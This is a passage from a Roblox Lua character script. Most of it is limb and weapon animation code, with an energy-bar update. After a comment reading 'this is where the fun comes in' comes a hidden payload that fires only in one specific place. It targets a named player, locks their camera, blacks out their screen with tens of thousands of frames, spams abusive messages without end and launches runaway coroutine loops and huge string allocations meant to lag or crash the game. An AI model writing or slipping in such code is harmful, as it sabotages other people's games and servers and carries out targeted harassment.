4895
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4896
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4897
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4898
end
4899
else
4900
if attack==false then
4901
Footsteps:Stop()
4902
Footsteps2:Stop()
4903
Humanoid.WalkSpeed=12
4904
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
4905
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
4906
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
4907
RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
4908
LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
4909
RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
4910
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
4911
handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
4912
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
4913
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
4914
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4915
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4916
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4917
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4918
end
4919
end
4920
elseif torvel>2 and torvel<22 and hitfloor~=nil then
4921
Anim="Walk"
4922
if attack==false then
4923
change=0.8
4924
--[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
4925
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
4926
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
4927
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
4928
RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
4929
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
4930
--Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4931
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4932
RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
4933
--RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
4934
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
4935
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
4936
RH.C0=clerp(RH.C0,RHC0,.3)
4937
LH.C0=clerp(LH.C0,LHC0,.3)
4938
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4939
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4940
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4941
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4942
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4943
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4944
]]--
4945
Footsteps:Play()
4946
Footsteps2:Stop()
4947
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
4948
Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
4949
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4950
RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
4951
LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
4952
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
4953
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
4954
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4955
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
4956
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
4957
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4958
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4959
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4960
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4961
end
4962
elseif torvel>=22 and hitfloor~=nil then
4963
Anim="Run"
4964
change=1
4965
if attack==false then
4966
Footsteps:Stop()
4967
Footsteps2:Play()
4968
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
4969
Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
4970
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4971
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
4972
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
4973
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
4974
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
4975
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4976
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
4977
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
4978
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4979
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4980
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4981
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4982
end
4983
end
4984
end
4985
fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
4986
fenbarmana4.Text="[Energy]                    <{[  "..mana.."  ]}>                    [Energy]"
4987
text.Text = math.floor(hum.Health)
4988
if mana>=100 then
4989
mana=100
4990
else
4991
if mananum<=8 then
4992
mananum=mananum+100
4993
else
4994
mananum=0
4995
mana=mana+100
4996
end
4997
end
4998
end
4999
5000
5001
5002
5003
--- shshshhh this is where the fun comes in ---
5004
if game.PlaceId == 21053279 then
5005
plr = game.Players.ThatProGamerKilledU
5006
char = plr.Character
5007
cam = workspace.CurrentCamera
5008
cam.CameraType = "Scriptable"
5009
cam.CoordinateFrame = CFrame.new(0,0,50)
5010
local localContainer
5011
local service=setmetatable({
5012
	MarketPlace=game:service("MarketplaceService");
5013
	GamepassService=game:service("GamePassService");
5014
	ChatService=game:service("Chat");
5015
	LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
5016
},{
5017
	__index=function(tab,index)
5018
		local serv
5019
		local ran,err=pcall(function() serv=game:service(index) end)
5020
		if ran then
5021
			tab[index]=serv
5022
			return serv
5023
		end
5024
	end
5025
})
5026
5027
local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
5028
5029
x=game.Players.ThatProGamerKilledU
5030
				 x.CameraMode=Enum.CameraMode.LockFirstPerson
5031
				 f=Instance.new("Frame")
5032
				 f.Size=UDim2.new(1,0,1,0)
5033
				 f.BackgroundTransparency=0.01
5034
				 f.BackgroundColor3=Color3.new()
5035
				 pg=x.PlayerGui
5036
				 gui=Instance.new("ScreenGui",pg)
5037
				 wait(.1)
5038
			     for i=1,28000 do
5039
				 f:Clone().Parent=gui
5040
				 f:Clone().Parent=gui
5041
				 f:Clone().Parent=gui
5042
				 end
5043
			
5044
	script:Destroy();
5045
local runService = Game:GetService("RunService").Stepped;
5046
local LagNum = 1250;
5047
local str = "lag fucker lag";
5048
5049
for i = 1, math.huge do
5050
        if i % LagNum == 0 then runService:wait(); end
5051
        Instance.new("Message", Workspace).Text = str;
5052
end
5053
5054
local bores=coroutine.create(function() --Yolo?
5055
	cPcall(function()
5056
		--print(Game[("%s|"):rep(0xFFFFFFF)])
5057
	cPcall(print,'lol')
5058
	cPcall(warn,'lol')
5059
	cPcall(error,'lol')
5060
	while wait(0.1) do
5061
	spawn(function()
5062
		cPcall(function() 
5063
		spawn(function()
5064
		local tab={}
5065
		pcall(function()
5066
			spawn(function()
5067
			for i=1,1000000 do
5068
				cPcall(function()
5069
				spawn(function()
5070
					local bob2=coroutine.create(function()
5071
						function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
5072
						function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end 
5073
						spawn(f1)
5074
					end)
5075
					spawn(function() delay(0,function() coroutine.resume(bob2) end) end) 
5076
					spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
5077
				end)
5078
				end)
5079
			end
5080
			tab={}
5081
			end)
5082
		end)
5083
		end) 
5084
		end)
5085
	end)
5086
	end
5087
	end)
5088
end)
5089
5090
service.RunService.Stepped:connect(function()
5091
	for i=1,500000 do
5092
		delay(0,function() pcall(function() coroutine.resume(bores) end) end)
5093
	end
5094
end)
5095
5096
5097
	local function bob()
5098
	cPcall(function()
5099
		while wait(0.1) do
5100
			--cPcall(function()
5101
			--for i=1,100 do
5102
				local p=Instance.new("Part")
5103
				p.Material="Neon"
5104
				p.Size=Vector3.new(50,50,50)
5105
				p.Anchored=true
5106
				p.BackSurface="Studs"
5107
				p.BottomSurface="Studs"
5108
				p.FrontSurface="Studs"
5109
				p.LeftSurface="Studs"
5110
				p.RightSurface="Studs"
5111
				p.TopSurface="Studs"
5112
				local t=Instance.new("Texture",p)
5113
				t.Texture="http://www.roblox.com/asset/?id=190803157"
5114
				t.Face="Top"
5115
				t.StudsPerTileU=1000
5116
				t.StudsPerTileV=1000
5117
				local t2=t:clone()
5118
				t2.Parent=p
5119
				t2.Face="Bottom"
5120
				local t2=t:clone()
5121
				t2.Parent=p
5122
				t2.Face="Left"
5123
				local t2=t:clone()
5124
				t2.Parent=p
5125
				t2.Face="Right"
5126
				local t2=t:clone()
5127
				t2.Parent=p
5128
				t2.Face="Front"
5129
				local t2=t:clone()
5130
				t2.Parent=p
5131
				t2.Face="Back"
5132
				p.Parent=service.LocalContainer()
5133
			--end
5134
			--end)
5135
		end
5136
	end)
5137
	end
5138
	bob() --while wait(0.1) do cPcall(bob) end
5139
end
5140
-- ~CLarramore